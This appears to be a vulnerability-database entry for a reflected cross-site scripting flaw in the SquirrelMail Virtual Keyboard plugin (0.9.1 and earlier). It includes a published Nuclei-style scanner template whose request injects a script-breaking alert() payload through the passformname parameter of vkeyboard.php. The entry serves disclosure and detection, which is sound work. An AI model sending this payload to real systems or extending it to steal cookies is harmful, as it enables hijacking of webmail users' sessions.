squirrelmail-vkeyboard-xss: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: SquirrelMail Virtual Keyboard | POC: 已公开

漏洞描述

SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: squirrelmail-vkeyboard-xss

info:
  name: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/34814
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,squirrelmail,plugin,edb
variables:
  payload: "\"><script>alert({{rand_int()}});</script><script>/*"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/vkeyboard/vkeyboard.php?passformname={{url_encode(payload)}}'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'onclick="window.opener.document.forms[0].{{payload}}'
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022055148373f0334cf3df2ae792a5060fc3d03866e94ea2f694972a3b549189a744022100862c8147c68922a1b0e661d5a4c645eeb85a9e56f8595003dd960a4a14653357:922c64590222798bb761d5b6d8e72950